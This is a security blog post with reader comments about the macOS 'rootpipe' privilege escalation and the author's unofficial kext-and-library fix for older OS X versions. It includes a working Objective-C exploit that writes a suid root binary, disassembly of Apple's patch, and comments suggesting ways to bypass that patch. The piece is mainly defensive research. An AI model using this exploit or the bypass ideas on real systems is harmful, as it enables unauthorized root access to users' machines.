How to fix rootpipe in Mavericks and call Apple’s bullshit bluff about rootpipe fixes

The rootpipe vulnerability was finally fully disclosed last week after a couple of months of expectation since the first announcement. It was disclosed as a hidden backdoor but it’s really more something related to access control and crap design than a backdoor. Although keep in mind that good backdoors should be hard to distinguish from simple errors. In this case there are a lot of services using this feature so it’s hardly a hidden backdoor that just sits there waiting for some evil purpose. Apple doesn’t have a stellar security record so the simple explanation has a good chance to prevail over the backdoor story.

Anyway that’s not what really matter for this post. The most important issue is that a fix was made available only for Yosemite 10.10.3. Every other OS X version is left vulnerable. While this is a local privilege escalation vulnerability there are many scenarios where it can be used (you don’t audit every single installer and software that runs on your Mac, do you?). It is extremely reliable and can be used in different ways other than just creating a suid binary.
The vulnerability author wrote the following regarding this issue:
“Apple indicated that this issue required a substantial amount of changes on their side, and that they will not back port the fix to 10.9.x and older.”

So essentially Apple refuses to patch this in all versions except the latest one because it’s apparently too much work. There is no official statement from Apple regarding the EOL (End of Life) status about all previous OS X versions so this course of action is quite strange. Even stranger when Apple backports some security patches to those older versions so they are implicitly not yet dead versions.

In this situation what can we do?
We can try to verify what is the real impact of Apple’s fix and call their bluff if we can prove that we are able to produce a fix without significant changes to the operating system. Challenge accepted!

Part 1 – The vulnerability

The core of this vulnerability resides in the writeconfig XPC service that is part of the SystemAdministration private framework. It is essentially an helper to keep privileged operations separated from the binaries that require those privileged operations. It contains an interesting method called createFileWithContents:path:attributes: that allows to create a file anywhere in the filesystem with whatever permissions we want. This is the method being exploited to create a suid binary that allows privilege escalation. We can also use it to create a launchd daemon, modify sudo configurations and so on. This XPC service contains other methods that could be useful for exploitation but this one is good enough. The following code snippet is the port to Objective-C of the original Python PoC:

int
get_me_rootpipe(const char *sourceFile)
{
    Class hackClass = (Class)objc_lookUpClass("WriteConfigClient");
    if (hackClass != nil)
    {
        if ([hackClass respondsToSelector:@selector(sharedClient)])
        {
            id sharedClient = [hackClass performSelector:@selector(sharedClient)];
            if (sharedClient != nil)
            {
                [sharedClient performSelector:@selector(authenticateUsingAuthorizationSync:) withObject:nil];
                id tool = [sharedClient performSelector:@selector(remoteProxy)];
 
                NSMutableDictionary *attr = [NSMutableDictionary new];
                [attr setValue:[NSNumber numberWithShort:04777]
                             forKey:NSFilePosixPermissions];
                NSData *file = [[NSData alloc] initWithContentsOfFile:[NSString stringWithUTF8String:sourceFile]];
                /* use NSInvocation because we have more than 2 parameters for the selector */
                SEL mySelector = NSSelectorFromString(@"createFileWithContents:path:attributes:");
                NSInvocation *inv = [NSInvocation invocationWithMethodSignature:[tool methodSignatureForSelector:mySelector]];
                [inv setSelector:mySelector];
                [inv setTarget:tool]; /* the target where we want to invoke the method */
                [inv setArgument:&file atIndex:2];
                /* hardcoded value */
                NSString *targetFile = @"/tmp/suid_diagnostic_service";
                [inv setArgument:&targetFile atIndex:3];
                [inv setArgument:&attr atIndex:4];
                /* rootpipe everything! Thank you Apple once again :-) */
                [inv invoke];
            }
        }
    }
    return 0;
}

The vulnerability author reports that this service appears to be used by System Preferences and systemsetup applications. This is true but there are also other binaries using this service. The core of this vulnerability is that there is no access control regarding which binaries can access this service. If a user can obtain the necessary connection to the XPC service he is able to call that method and do whatever he wants in the system. There is a second vulnerability in the way any user can obtain the necessary connection to the XPC service. If a nil object is passed to “authenticateUsingAuthorizationSync:” the connection will succeed and it is game over. This makes it possible for any user to connect to the service. This second vulnerability isn’t necessary in case the user as admin privileges, which is a valid scenario for many default installations.

Part 2 – Apple’s fix

The next step is to try to reverse the fix made in 10.10.3 release. We know that writeconfig is the vulnerable service so it is reasonable to expect most changes happening there. It is also reasonable to expect Apple to interpret this issue as an access control problem. If this is true there should be some kind of new access control mechanism implemented. The easiest option would be to bindiff the binary but I was too lazy to launch the Windows VM with bindiff and still haven’t tried to set up Diaphora in OS X. How are XPC services implemented? Apple’s documentation can be found here.

Essentially there is a main function implemented that creates and configures a listener object and a delegate class we must create. The delegate class must conform to the NSXPCListenerDelegate protocol. This protocol contains a single method listener:shouldAcceptNewConnection:, which accepts or rejects connections to the listener. Bingo, this is probably what we are looking after. Are there any differences between the 10.10.3 version and older ones?

10.10.1:

__text:0000000100002133 ; char __cdecl -[WriteConfigDispatch listener:shouldAcceptNewConnection:](struct WriteConfigDispatch *self, SEL, id, id)
__text:0000000100002133 __WriteConfigDispatch_listener_shouldAcceptNewConnection__ proc near
__text:0000000100002133                                         ; DATA XREF: __objc_const:000000010001C7F8o
__text:0000000100002133
__text:0000000100002133 var_30          = qword ptr -30h
__text:0000000100002133
__text:0000000100002133                 push    rbp
__text:0000000100002134                 mov     rbp, rsp
__text:0000000100002137                 push    r15
__text:0000000100002139                 push    r14
__text:000000010000213B                 push    r13
__text:000000010000213D                 push    r12
__text:000000010000213F                 push    rbx
__text:0000000100002140                 push    rax
__text:0000000100002141                 mov     r13, rcx
__text:0000000100002144                 mov     r15, rdi
__text:0000000100002147                 mov     r12, cs:selRef_setExportedObject_
__text:000000010000214E                 mov     rdi, r13
__text:0000000100002151                 call    cs:_objc_retain_ptr
__text:0000000100002157                 mov     [rbp+var_30], rax
__text:000000010000215B                 mov     r14, cs:_objc_msgSend_ptr
__text:0000000100002162                 mov     rdi, r13
__text:0000000100002165                 mov     rsi, r12
__text:0000000100002168                 mov     rdx, r15
__text:000000010000216B                 call    r14 ; _objc_msgSend
__text:000000010000216E                 mov     rdi, cs:classRef_NSXPCInterface
__text:0000000100002175                 mov     rdx, cs:protocolRef_XPCWriteConfigProtocol
__text:000000010000217C                 mov     rsi, cs:selRef_interfaceWithProtocol_
__text:0000000100002183                 call    r14 ; _objc_msgSend
__text:0000000100002186                 mov     rdi, rax
__text:0000000100002189                 call    _objc_retainAutoreleasedReturnValue
__text:000000010000218E                 mov     rbx, rax
__text:0000000100002191                 mov     rsi, cs:selRef_setExportedInterface_
__text:0000000100002198                 mov     rdi, r13
__text:000000010000219B                 mov     rdx, rbx
__text:000000010000219E                 call    r14 ; _objc_msgSend
__text:00000001000021A1                 mov     r15, cs:_objc_release_ptr
__text:00000001000021A8                 mov     rdi, rbx
__text:00000001000021AB                 call    r15 ; _objc_release
__text:00000001000021AE                 mov     rsi, cs:selRef_setInvalidationHandler_
__text:00000001000021B5                 lea     rdx, off_100019730
__text:00000001000021BC                 mov     rdi, r13
__text:00000001000021BF                 call    r14 ; _objc_msgSend
__text:00000001000021C2                 mov     rsi, cs:selRef_resume
__text:00000001000021C9                 mov     rdi, r13
__text:00000001000021CC                 call    r14 ; _objc_msgSend
__text:00000001000021CF                 mov     rdi, [rbp+var_30]
__text:00000001000021D3                 call    r15 ; _objc_release
__text:00000001000021D6                 mov     eax, 1
__text:00000001000021DB                 add     rsp, 8
__text:00000001000021DF                 pop     rbx
__text:00000001000021E0                 pop     r12
__text:00000001000021E2                 pop     r13
__text:00000001000021E4                 pop     r14
__text:00000001000021E6                 pop     r15
__text:00000001000021E8                 pop     rbp
__text:00000001000021E9                 retn
__text:00000001000021E9 __WriteConfigDispatch_listener_shouldAcceptNewConnection__ endp

10.10.3

__text:0000000100001C71 ; WriteConfigDispatch - (char)listener:(id) shouldAcceptNewConnection:(id)
__text:0000000100001C71 ; Attributes: bp-based frame
__text:0000000100001C71
__text:0000000100001C71 ; char __cdecl -[WriteConfigDispatch listener:shouldAcceptNewConnection:](struct WriteConfigDispatch *self, SEL, id, id)
__text:0000000100001C71 __WriteConfigDispatch_listener_shouldAcceptNewConnection__ proc near
__text:0000000100001C71                                         ; DATA XREF: __objc_const:000000010001C958o
__text:0000000100001C71
__text:0000000100001C71 var_490         = qword ptr -490h
__text:0000000100001C71 var_488         = qword ptr -488h
__text:0000000100001C71 var_480         = qword ptr -480h
__text:0000000100001C71 var_478         = qword ptr -478h
__text:0000000100001C71 var_470         = qword ptr -470h
__text:0000000100001C71 var_468         = qword ptr -468h
__text:0000000100001C71 var_460         = xmmword ptr -460h
__text:0000000100001C71 var_450         = xmmword ptr -450h
__text:0000000100001C71 buffer          = byte ptr -440h
__text:0000000100001C71 var_43F         = byte ptr -43Fh
__text:0000000100001C71 var_43E         = byte ptr -43Eh
__text:0000000100001C71 var_43D         = byte ptr -43Dh
__text:0000000100001C71 var_30          = qword ptr -30h
__text:0000000100001C71
__text:0000000100001C71                 push    rbp
__text:0000000100001C72                 mov     rbp, rsp
__text:0000000100001C75                 push    r15
__text:0000000100001C77                 push    r14
__text:0000000100001C79                 push    r13
__text:0000000100001C7B                 push    r12
__text:0000000100001C7D                 push    rbx
__text:0000000100001C7E                 sub     rsp, 468h
__text:0000000100001C85                 mov     rbx, rcx
__text:0000000100001C88                 mov     r15, rdi
__text:0000000100001C8B                 mov     rax, cs:___stack_chk_guard_ptr
__text:0000000100001C92                 mov     rax, [rax]
__text:0000000100001C95                 mov     [rbp+var_30], rax
__text:0000000100001C99                 mov     r14, cs:_objc_retain_ptr
__text:0000000100001CA0                 mov     rdi, rdx
__text:0000000100001CA3                 call    r14 ; _objc_retain
__text:0000000100001CA6                 mov     [rbp-470h], rax
__text:0000000100001CAD                 mov     rdi, rbx
__text:0000000100001CB0                 call    r14 ; _objc_retain
__text:0000000100001CB3                 mov     r12, rax
__text:0000000100001CB6                 test    r12, r12
__text:0000000100001CB9                 jz      short loc_100001CD3
__text:0000000100001CBB                 mov     rdx, cs:selRef_auditToken
__text:0000000100001CC2                 lea     rdi, [rbp-460h]
__text:0000000100001CC9                 mov     rsi, r12
__text:0000000100001CCC                 call    _objc_msgSend_stret
__text:0000000100001CD1                 jmp     short loc_100001CE4
__text:0000000100001CD3 ; ---------------------------------------------------------------------------
__text:0000000100001CD3
__text:0000000100001CD3 loc_100001CD3:                          ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+48j
__text:0000000100001CD3                 xorps   xmm0, xmm0
__text:0000000100001CD6                 movaps  [rbp+var_450], xmm0
__text:0000000100001CDD                 movaps  [rbp+var_460], xmm0
__text:0000000100001CE4
__text:0000000100001CE4 loc_100001CE4:                          ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+60j
__text:0000000100001CE4                 mov     rax, qword ptr [rbp+var_450+8]
__text:0000000100001CEB                 mov     [rsp+490h+var_478], rax
__text:0000000100001CF0                 mov     rax, qword ptr [rbp+var_450]
__text:0000000100001CF7                 mov     [rsp+490h+var_480], rax
__text:0000000100001CFC                 mov     rax, qword ptr [rbp+var_460]
__text:0000000100001D03                 mov     rcx, qword ptr [rbp+var_460+8]
__text:0000000100001D0A                 mov     [rsp+490h+var_488], rcx
__text:0000000100001D0F                 mov     [rsp+490h+var_490], rax
__text:0000000100001D13                 xor     edi, edi
__text:0000000100001D15                 call    _SecTaskCreateWithAuditToken
__text:0000000100001D1A                 mov     rbx, rax
__text:0000000100001D1D                 test    rbx, rbx
__text:0000000100001D20                 jz      loc_100001E32
__text:0000000100001D26                 mov     [rbp+var_468], 0
__text:0000000100001D31                 lea     rsi, cfstr_Com_apple_priv ; "com.apple.private.admin.writeconfig"
__text:0000000100001D38                 lea     rdx, [rbp+var_468]
__text:0000000100001D3F                 mov     rdi, rbx
__text:0000000100001D42                 call    _SecTaskCopyValueForEntitlement
__text:0000000100001D47                 mov     r13, rax
__text:0000000100001D4A                 mov     rsi, [rbp+var_468]
__text:0000000100001D51                 test    rsi, rsi
__text:0000000100001D54                 jz      short loc_100001D70
__text:0000000100001D56                 lea     rdi, cfstr_UnableToGetEnt ; "### Unable to get entitlements for client task. Error: %@"
__text:0000000100001D5D                 xor     eax, eax
__text:0000000100001D5F                 call    _NSLog
__text:0000000100001D64                 mov     rdi, [rbp+var_468]
__text:0000000100001D6B                 call    _CFRelease
__text:0000000100001D70
__text:0000000100001D70 loc_100001D70:                          ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+E3j
__text:0000000100001D70                 test    r13, r13
__text:0000000100001D73                 jz      loc_100001E4A
__text:0000000100001D79                 mov     rdi, r13
__text:0000000100001D7C                 call    _CFGetTypeID
__text:0000000100001D81                 mov     r14, rax
__text:0000000100001D84                 call    _CFBooleanGetTypeID
__text:0000000100001D89                 cmp     r14, rax
__text:0000000100001D8C                 jnz     loc_100001E42
__text:0000000100001D92                 mov     rdi, r13
__text:0000000100001D95                 call    _CFBooleanGetValue
__text:0000000100001D9A                 mov     r14b, al
__text:0000000100001D9D                 mov     rdi, r13
__text:0000000100001DA0                 call    _CFRelease
__text:0000000100001DA5                 mov     rdi, rbx
__text:0000000100001DA8                 call    _CFRelease
__text:0000000100001DAD                 test    r14b, r14b
__text:0000000100001DB0                 jz      loc_100001E52
__text:0000000100001DB6                 mov     rsi, cs:selRef_setExportedObject_
__text:0000000100001DBD                 mov     r14, cs:_objc_msgSend_ptr
__text:0000000100001DC4                 mov     rdi, r12
__text:0000000100001DC7                 mov     rdx, r15
__text:0000000100001DCA                 call    r14 ; _objc_msgSend
__text:0000000100001DCD                 mov     rdi, cs:classRef_NSXPCInterface
__text:0000000100001DD4                 mov     rdx, cs:protocolRef_XPCWriteConfigProtocol
__text:0000000100001DDB                 mov     rsi, cs:selRef_interfaceWithProtocol_
__text:0000000100001DE2                 call    r14 ; _objc_msgSend
__text:0000000100001DE5                 mov     rdi, rax
__text:0000000100001DE8                 call    _objc_retainAutoreleasedReturnValue
__text:0000000100001DED                 mov     rbx, rax
__text:0000000100001DF0                 mov     rsi, cs:selRef_setExportedInterface_
__text:0000000100001DF7                 mov     rdi, r12
__text:0000000100001DFA                 mov     rdx, rbx
__text:0000000100001DFD                 call    r14 ; _objc_msgSend
__text:0000000100001E00                 mov     rdi, rbx        ; _QWORD
__text:0000000100001E03                 call    cs:_objc_release_ptr
__text:0000000100001E09                 mov     rsi, cs:selRef_setInvalidationHandler_
__text:0000000100001E10                 lea     rdx, off_1000197C0
__text:0000000100001E17                 mov     rdi, r12
__text:0000000100001E1A                 call    r14 ; _objc_msgSend
__text:0000000100001E1D                 mov     rsi, cs:selRef_resume
__text:0000000100001E24                 mov     rdi, r12
__text:0000000100001E27                 call    r14 ; _objc_msgSend
__text:0000000100001E2A                 mov     r14b, 1
__text:0000000100001E2D                 jmp     loc_100001F0D
__text:0000000100001E32 ; ---------------------------------------------------------------------------
__text:0000000100001E32
__text:0000000100001E32 loc_100001E32:                          ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+AFj
__text:0000000100001E32                 lea     rdi, cfstr_UnableToCreate ; "### Unable to create security task from audit token"
__text:0000000100001E39                 xor     eax, eax
__text:0000000100001E3B                 call    _NSLog
__text:0000000100001E40                 jmp     short loc_100001E52
__text:0000000100001E42 ; ---------------------------------------------------------------------------
__text:0000000100001E42
__text:0000000100001E42 loc_100001E42:                          ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+11Bj
__text:0000000100001E42                 mov     rdi, r13
__text:0000000100001E45                 call    _CFRelease
__text:0000000100001E4A
__text:0000000100001E4A loc_100001E4A:                          ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+102j
__text:0000000100001E4A                 mov     rdi, rbx
__text:0000000100001E4D                 call    _CFRelease
__text:0000000100001E52
__text:0000000100001E52 loc_100001E52:                          ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+13Fj
__text:0000000100001E52                                         ; -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+1CFj
__text:0000000100001E52                 mov     rsi, cs:selRef_processIdentifier
__text:0000000100001E59                 mov     rdi, r12
__text:0000000100001E5C                 call    cs:_objc_msgSend_ptr
__text:0000000100001E62                 lea     rsi, [rbp+buffer] ; buffer
__text:0000000100001E69                 mov     edx, 401h       ; buffersize
__text:0000000100001E6E                 mov     edi, eax        ; pid
__text:0000000100001E70                 call    _proc_pidpath
__text:0000000100001E75                 lea     ecx, [rax-1]
__text:0000000100001E78                 cmp     ecx, 3FEh
__text:0000000100001E7E                 ja      short loc_100001ECC
__text:0000000100001E80                 cdqe
__text:0000000100001E82                 mov     [rbp+rax+buffer], 0
__text:0000000100001E8A                 mov     rdi, cs:classRef_NSString
__text:0000000100001E91                 mov     rsi, cs:selRef_stringWithUTF8String_
__text:0000000100001E98                 lea     rdx, [rbp+buffer]
__text:0000000100001E9F                 call    cs:_objc_msgSend_ptr
__text:0000000100001EA5                 mov     rdi, rax
__text:0000000100001EA8                 call    _objc_retainAutoreleasedReturnValue
__text:0000000100001EAD                 mov     rbx, rax
__text:0000000100001EB0                 lea     rdi, cfstr_AccessDeniedFo ; "### Access denied for unentitled client %@"
__text:0000000100001EB7                 xor     eax, eax
__text:0000000100001EB9                 mov     rsi, rbx
__text:0000000100001EBC                 call    _NSLog
__text:0000000100001EC1                 mov     rdi, rbx        ; _QWORD
__text:0000000100001EC4                 call    cs:_objc_release_ptr
__text:0000000100001ECA                 jmp     short loc_100001EF6
(...)

Yes, there are quite significant changes between the two versions. The old version doesn’t seem to do any kind of access control while the new version implements a new private entitlement called com.apple.private.admin.writeconfig. If the binary calling the XPC service does not contain this entitlement then it can’t connect anymore to the XPC.
Let’s try to run the exploit code in 10.10.3:

Executing rootpiped diagnostic service...
2015-04-13 10:17:16.665 diagnostic_service[687:37692] ### syncProxyWithSemaphore error:Error Domain=NSCocoaErrorDomain Code=4097 "Couldn’t communicate with a helper application." (connection to service named com.apple.systemadministration.writeconfig) UserInfo=0x7f9ef8c0d2c0 {NSDebugDescription=connection to service named com.apple.systemadministration.writeconfig}

As expected our exploit code doesn’t have that private entitlement and can no longer connect to writeconfig XPC service.

If we grep a 10.10.3 system (or unpack the update pkg) for that entitlement we will find around 50 binaries that contain the new entitlement. This shows us how this XPC service is deeply integrated into OS X and probably why Apple doesn’t want to backport the fix to older OS X versions. For a hidden backdoor that’s a lot of work and services dependent on it ;-).

 Part 3 – Developing our own fix for older versions

To be honest I didn’t verify for any other major changes in SystemAdministration framework. The reason is that I think the new entitlement fixes the issue. Access is now restricted to Apple selected binaries with the new private entitlement. The vulnerable method to the nil object doesn’t appear to be modified (technically sending a nil object in Objective-C is valid).

Assuming that the entitlement and correspondent access control create a permanent fix, can we use the same concept to fix the issue in older versions without all the changes a new entitlement might require? Apple says no. I say yes, it is possible and it’s much easier than it might appear. It can be even easier if Apple does it because they can skip some of the intermediate steps my fix requires.

What we need is a way to (dynamically) introduce some kind of access control to writeconfig  and limit the binaries that can connect to it. I mean dynamically because I guess that if we directly patch the binary we will break the code signature and it will stop working (I did not test this, just guessing!). Even if patching was possible it wouldn’t completely solve the problem as we will soon understand.

We need to add access control to the listener delegate that XPC services implement, listener:shouldAcceptNewConnection:. Being a Objective-C binary this is quite easy using swizzling. The idea is to inject a dynamic library into the process, swizzle the original method, implement access control in our own method, and call the original method if the binary passes our checks.

How can we implement the access control? The first idea was to use code signatures to verify if the binary is an Apple binary (because technically only Apple binaries should be allowed to connect). This sort of works because even if we code sign an exploit binary it will not pass the check because it’s not Apple’s certificate.
The problem of this approach is that it can be easily bypassed using the same trick as Google’s Santa. We just need to inject a library using DYLD_INSERT_LIBRARIES into any Apple signed process (/bin/ls for example) and call the exploit payload from the library.
Hardcoding the paths of all the allowed binaries still doesn’t solve this issue. We reduce the number of binaries that can be used but we can still call an authorized binary and inject the attacking library.

The solution is to block DYLD_INSERT_LIBRARIES injection into the authorized binaries. Is there any operating system support for this? Yes there is. Dyld (the linker) is responsible for loading the library specified in DYLD_INSERT_LIBRARIES. It will ignore this and other environment variables if the process is considered restricted. In what conditions does it consider a process restricted?

  • If it has setuid or setgid bit set.
  • If it contains a __RESTRICT segment (read this post for further info).
  • If it has entitlements.

For example in 10.10.3 we can’t use this trick to exploit the binaries that contain the new entitlement. Because they have entitlements dyld will clear the variable so we can’t piggyback on their entitlement from our injected library (that is really never injected into the process).

Once again, we don’t want to modify any binaries at disk so we need to do it dynamically. One possible solution would be to modify dyld on the fly and inject some code to mark the authorized processes as restricted. The easiest solution is to do this from a kernel extension and inject a new __RESTRICT segment into the authorized processes.

My proposed fix contains two components, a kernel extension and a dynamic library.
The kernel extension, Mario, is responsible for injecting the dynamic library into the writeconfig process (using the same technique as published in my Phrack article), and for injecting a __RESTRICT segment and __restrict section into all processes authorized to connect to the XPC service. The authorized processes list is hardcoded and was obtained by grep’ing all the binaries in Yosemite that have the new entitlement. Those who do not exist in Mavericks were removed from the list. A few processes might be missing from this list so this will require a bit of additional testing to gather all the binaries.
The kext is implemented as a TrustedBSD policy module (you know I love TrustedBSD, right?). It can be loaded as soon as possible in the system because it uses the “com.apple.” trick in the bundle identifier.

The dynamic library, Luigi, injected into the writeconfig XPC binary is responsible for accepting or denying the connection to the XPC service. It does this by verifying the path of the binary and its code signature. If not in the authorized path list or code signature is bad the connection will be denied. The information about the connecting process can be obtained from the newConnection parameter in the listener method. We can obtain the PID of the connecting process and then its associated path using proc_pidpath function. A log file is created in /tmp/rootpipe_fix_log, with all authorized and unauthorized connections to the XPC service.

Part 4 – Can Apple implement this fix?

Yes they can. And they don’t need a kernel extension at all. They need to modify the writeconfig code to do the same job as the dynamic library and dyld to restrict library injection in the authorized binaries. This requires a hardcoded list into dyld and writeconfig (or a plist somewhere that can be codesigned and verified both by writeconfig and dyld). It’s not a pretty fix but it should work and it’s way better than leaving a large userbase completely vulnerable to this bug.
Update: obviously I forgot to write this in the original post, but there’s no need to modify dyld since all the binaries just need to be recompiled with the extra __RESTRICT segment. The only one that requires a hardcoded list is writeconfig.

Part 5 – Conclusion

Hopefully I have convinced you that it is indeed possible to fix the rootpipe vulnerability in older versions without major OS X changes. It can also be applied to other versions with minor or no work at all. Apple’s response to this issue is not acceptable at all. There is no official end of life (EOL) statements from Apple regarding older OS X versions. If there is no such statement and Apple still releases some security patches for those versions then it’s perfectly reasonable to assume they are still supported and it’s a user choice to use them or not. Leaving users exposed to such dangerous vulnerabilities with fully working public exploits available is simply irresponsible. Let me remind you that iWorm botnet infected more than 17k hosts just by asking the users for admin privileges. How large do you think a botnet can be by exploiting this vulnerability to escalate privileges without any user intervention at all?

It’s not possible for Apple to not want to assume the potential costs and risks of declaring OS X versions EOL but also to not want to backport really important security fixes to older OS X versions because that implies “too much work” (where too much work is my personal interpretation of Apple’s answer regarding this). The 90s are over, learn a bit with Microsoft. Microsoft isn’t perfect but they learnt some lessons and improved a lot regarding security. We all would love to have users running all the latest versions of every piece of software. Reality is much different else there wouldn’t be a problem called Windows XP. Learn with other’s mistakes, they are cheaper.

Source code available at:
Mario – https://github.com/gdbinit/mario
Luigi – https://github.com/gdbinit/luigi

Feel free to send any bug reports or problems with this patch :-). Code might contain some bugs, large part of it was copy & pasted from older projects. This means it’s not production code but something to pressure Apple to fix the issue.

Have fun,
fG!

Update: There is malware from 2014 that was already exploiting this vulnerability. Found by noar, the following sample contains the exploit code for both Mavericks and older versions. It uses the exploit to activate the Accessibility API. See, we don’t even need to wait for new malware, it was already being exploited in the wild. The malware sample is described by FireEye here, but they totally miss the zero day there. They just lightly describe the result but not the technique.

20 thoughts on “How to fix rootpipe in Mavericks and call Apple’s bullshit bluff about rootpipe fixes

  1. Great that you provide users who are not on Yosemite with a security fix! Apple’s security politics really have to change, as you stated there is no such thing as EOL, other bugs also have been fixed and back ported to Mavericks and even Mountain Lion. This laziness is as impressive as scary.

    But the rootpipe hidden backdoor API as it is called by Emil Kvarnhammar still exists on Yosemite 10.10.3 and their fix is not enough I think. Thus I played around today and put together an ANTIFIX and with found out it’s still easy to use the rootpipe API from SystemAdministration.framework. I just released a tool that does exactly that. Have a look at my blog post, I would be glad to here some ideas on how to protect against it.

    1. Yeap their fix doesn’t fix anything and that was clear the moment they only use entitlements as a fix.
      The trick here is to exploit any of the authorized binaries to run code. DYLD_ will not work because dyld will always clear it on these binaries.
      Using task_for_pid will trigger the password prompt which isn’t silent and for that there’s no need to use rootpipe for anything.

      There are better ways to achieve it 🙂
      Still, good code framework!

      1. Thanks for the saying good framework code. Means sth. to me if someone like you says so 🙂 …as you wrote on Twitter, there is a way task_for_pid() will be silent. If another binary, LLDB, Xcode, etc. was used recently taskgated won’t prompt the user again for a short period of time. So I will implement waiting for the authorization to be ready before calling task_for_pid() in my tool this evening.

        1. Good! I’m pretty sure there’s a way to wait for the authorization without triggering a warning.
          The short period of time is pretty much long judging from the authorization config for system.privilege.taskport.
          I can’t even understand why it’s shared between all binaries running from the same user. Blah!

          P:S: I guess you could make your code cleaner by avoiding the workspace notifications. You could use a binary such as /System/Library/PreferencePanes/DateAndTime.prefPane/Contents/Resources/TimeZone.prefPane/Contents/Resources/zset to abuse the entitlements from since you can run it any time you want.

          1. Waiting for the authorization to be available seems a lot more troublesome than expected. ‘authd’ always grants me the ‘system.privilege.taskport’ right (of course without prompt this time) but it is a false-positive. Since when I call task_for_pid() and ‘taskgated’ wants to acquire the right the user is still prompted. I’m actually looking at ‘authd’ source code but did not find any interesting at the moment. But I will continue my research. I’m also looking for a way to get host-privilege, which would allow to abuse processor_set_tasks() and ommit ‘taskgated’ completely but that is a very different story 😀

  2. Regarding https://derflounder.wordpress.com/2015/04/09/creating-mobile-accounts-using-createmobileaccount-is-not-working-on-os-x-10-10-3/ <– could it be possible that the difficulty in back porting the fix isn't just the changes, but all the possible interdependencies for OS's that are essentially feature frozen at this point? They don't seem to have addressed all the interdependencies in OS X 10.10 itself (in an effort to get this out the door fast?)

    I could see how in that situation they might think that requiring users to freely upgrade to the latest release (All 10.8 machines can, most 10.7 can as well) be reasonable. If the changes require the validation/support of an active release, well maybe use the active release?

    (I am not arguing with you, its more that you probably have a good reason to think I am wrong and I want to know it.)

    1. That issue seems to be more a question of internal processes and Apple itself not knowing which processes use that service.
      It’s getting clear (to me at least) this is a clusterfuck mess of a design from Apple. They created a privileged service that serves way too many different binaries. This means that the concept of privilege separation that Apples calls for with the XPC design has been ignored by Apple themselves.
      The stop gap measure they came with was a new entitlement. Because they don’t seem to have idea how wide writeconfig usage is they land into bugs like that one.
      The problem of their fix is that there are at least some 50+ binarie using it. A single exploit in one of them and the system is owned again because there is no fundamental fix inside writeconfig other than access control via the entitlement. So Apple didn’t really do any fundamental changes with the fix and fundamental changes aren’t required with older systems. This is what I wanted to prove. It’s possible to build a temporary patch with equivalent security level to their current 10.10.3 patch without fundamental changes.
      The fundamental changes required are to have a privileged helper per binary that currently uses it, with fine grain control on the operations allowed. Now that is really demanding work and certainly for the next major OS X revision.
      Right now their attitude is totally irresponsible. The userbase not running Yosemite (the argument that people should only run Yosemite is total bullshit, disconnected from the real world) is large. And now we also know that the bug has been discovered by what seems to be a Chinese APT actor and was already exploited in the wild (although only affecting < 10.8). The fix is possible, Apple is irresponsible. A perfect world doesn't exist, else Yosemite wouldn't be the piece of crap it is (hey, it required at least two minor releases to get WiFi working!).

      1. @Hello

        I do agree hot-patvhes won’t fix the issue as it is the design in the first place which is flowed ; clearly a lack of descent thoughts while creating this API ; to be fixed ; this would require a deprecation of this service ; and move the access control inside the kernel with protected accesses per proc ; that is not only the binary ; even adding thiner entitlements won’t fix it ; if can inject segments you can remove them ; moreover sensitive APIs should never be implement/written in OBJ-C ; this is obvious ; but still not understood at Apple by some engineers and their managers ; here the question: staff skills are deeply involved in this matter ; not extraordinary profiles here ;

        And I think the answer from Apple just showed us that some folks at Apple discovered the load of bullshit work made by some teams and try to hide the mess.

        Best.

    1. Sorry I don’t want to do that. Without a security audit I can’t consider the code production level.
      The techniques used are quite stable so the issue is really an audit by someone else other than me 🙂

  3. “Apple indicated that this issue required a substantial amount of changes on their side, and that they will not back port the fix to 10.9.x and older.”

    I don’t know anymore than anyone else, but this quote attributed to the original author reporting the vulnerability doesn’t really indicate it is an official statement from Apple. Sure, it could be an honest reaction from an employee he had contact with that really knows what’s going on, but not necessarily what they will end up having to do. As it was pointed out, the statement is completely at odds with their EOL stance.

    Thanks for highlighting the problem and helping apply pressure to get it fixed!

    1. There’s one relevant indicator that the truth isn’t far from that quote. It is the fact that even the fix in Yosemite 10.10.3 isn’t a good fix and feels like a rushed solution that can be bypassed in certain conditions. They didn’t really fix the underlying issue, which is a privilege mess with all those binaries using the same XPC service.

      As usual Apple keeps everything a secret, as if somehow still benefits them. Can’t understand that policy in 2015 🙁

  4. I am a little confused as to how to compile this one my own using Xcode.. When i do the build it succeeds, but then when I try to do the ‘Test’ it ends up failing. Any help/ideas? I am trying this on Xcode 6.1 and on a 10.9.5 box.

    1. There are no tests.
      Just build and copy/install/test from the Xcode build folders (whatever your setting is regarding this).

  5. I don’t see why Apple updating a a few dozen binaries with a small fix to fix a problem should be that tough for a (near) trillion dollar company. I always get the feeling that Apple’s software division is run on a shoe string.

    1. All OS X versions except 10.10.3 are vulnerable.
      Technically 10.10.3 is also vulnerable since there are many bypasses to the fix itself. That would probably entitle a different CVE.

  6. I’m running Mavericks 10.9.5 and read here about that rootpipe issue that apple has still not fixed for Mavericks.
    I successfully build an install your Mario & Luigi Kext & Lib and than I what to see if your solution really helps against rootpipe or not.

    So I searched for some exploit code for rootpipe and found a pyton-script here:
    https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/

    Interestingly it doesn’t matter if mario.kext was loaded or not. In both cases the exploit not works. Only the error message differed.

    I was wondering what was going on (?) and than read the latest patches from Apple very carefully and than I saw that Apple try to fix the rootpipe issue with the Security Update 2015-005 even for Mavericks 10.9.5 . It seem’s that the pressure of your blog post really helps a bit that Apple finally make an Bugfix for Mavericks. I think you should mention this under updates.

    See Security Update 2015-005:
    https://support.apple.com/de-de/HT204942

Leave a Reply

Your email address will not be published. Required fields are marked *